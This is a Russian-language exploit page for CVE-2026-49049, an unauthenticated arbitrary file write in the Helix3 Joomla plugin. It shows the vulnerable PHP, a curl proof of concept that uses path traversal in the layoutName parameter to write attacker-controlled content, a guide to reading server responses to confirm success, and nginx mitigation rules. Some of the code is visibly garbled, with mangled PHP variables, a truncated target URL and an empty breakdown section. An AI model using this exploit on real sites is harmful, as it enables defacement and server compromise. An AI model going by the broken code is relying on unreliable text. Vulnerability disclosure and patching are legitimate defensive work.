## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-DR-D25-CVE-2026-49049
# Исследование уязвимости CVE-2026-49049: Unauthenticated Arbitrary File Write в JoomShaper Helix3 (Joomla)
Репозиторий содержит материалы, технический анализ и Proof of Concept (PoC) для критической уязвимости **CVE-2026-49049** , обнаруженной в устаревшем фреймворке шаблонов **Helix3 от JoomShaper** для CMS Joomla (версии от 1.0 до 3.1.0 включительно).
Уязвимость активно эксплуатируется в дикой природе автоматизированными ботнетами (в частности, в рамках дефейс-кампании **AntonKill**).
* * *
## 🔬 Технический анализ уязвимости
Проблема кроется в системном AJAX-обработчике Joomla (`com_ajax`), который вызывает метод `onAjaxHelix3()` в плагине `plg_ajax_helix3`. Разработчики компонента не предусмотрели:
1. Проверку авторизации пользователя (Authentication Bypass).
2. Проверку CSRF-токенов.
3. Фильтрацию путей (Path Traversal Validation) при обработке параметра `layoutName`.
### Логика уязвимого PHP-кода:
root@kitploit:~
public function onAjaxHelix3() {
\$input = Factory::getApplication()->input;
\(data =\)input->post->get('data', [], 'array');
\(action =\)data['action'];
\(layoutName =\)data['layoutName'];
// Отсутствует проверка прав! Отсутствует фильтрация пути!
\$filepath = \(layoutPath .\)layoutName;
switch (\$action) {
case 'save':
// Запись контролируемых данных в произвольную директорию сервера
fwrite(fopen(\(filepath . '.json', 'wb'),\)data['content']);
break;
}
}
* * *
## 🛠 Proof of Concept (PoC)
Для верификации уязвимости используется POST-запрос с типом контента `application/x-www-form-urlencoded`. Данный метод упаковки параметров является наиболее эффективным для демонстрации бреши.
### Вектор атаки (cURL-команда):
root@kitploit:~
curl -sk -X POST \
'https://target.com' \
-d 'data[action]=save&data[layoutName]=../../../../../../../example&data[content]={"probe":"test"}'
### Подробный разбор передаваемых данных:
* * *
## 🎯 Анализ ответов сервера (Фирмы валидации)
При проведении тестирования на проникновение сервер может вернуть разные типы ответов. Их интерпретация критически важна:
### Вариант А: Уязвимость успешно отработала (Файл записан)
**Ответ сервера:**
root@kitploit:~
{"success":true,"message":null,"messages":null,"data":[]}
_Интерпретация:_ Плагин уязвим, ограничения ОС отсутствуют. Файл успешно создан в корне сайта и доступен по адресу `https://target.com`. Сайт требует немедленной очистки и изоляции.
### Вариант Б: Плагин уязвим, но сработала защита операционной системы
**Ответ сервера:**
root@kitploit:~
{
"success":false,
"message":"fwrite(): Argument #1 (\$stream) must be of type resource, bool given",
"messages":null,
"data":null
}
_Интерпретация:_ **Частичный успех.** Логика плагина Helix3 нарушена — он принял данные без авторизации и попытался открыть файл на запись (`fopen`). Однако операционная система Linux заблокировала это действие, так как у пользователя веб-сервера (например, `www-data`) **нет прав на запись в корень сайта**.
### Вариант В: Система защищена (Обновлена или удалена)
**Ответ сервера:** Статус `404 Not Found`, `403 Forbidden` или пустой ответ `[]`. _Интерпретация:_ Плагин обновлен до безопасной версии (3.1.1+), где добавлена проверка авторизации, либо полностью удален из CMS.
* * *
## 🛡 Митигация и устранение угрозы
1. **Обновление / Удаление:** Обновите Helix3 до версии **3.1.1** или выше. Если фреймворк не используется, полностью удалите плагин `plg_ajax_helix3` через панель администратора Joomla.
2. **Защита на уровне WAF (Nginx):** Добавьте правило для блокировки вредоносных POST-запросов:
root@kitploit:~
if (\(request_method = POST) { set\)test "P"; }
if (\$arg_plugin = "helix3") { set \(test "\){test}H"; }
if (\$test = PH) { return 403; }
* * *
_Disclaimer: Данный материал предоставлен исключительно в образовательных целях и для легитимного аудита безопасности систем (Pentesting). Автор не несет ответственности за неправомерное использование предоставленной информации._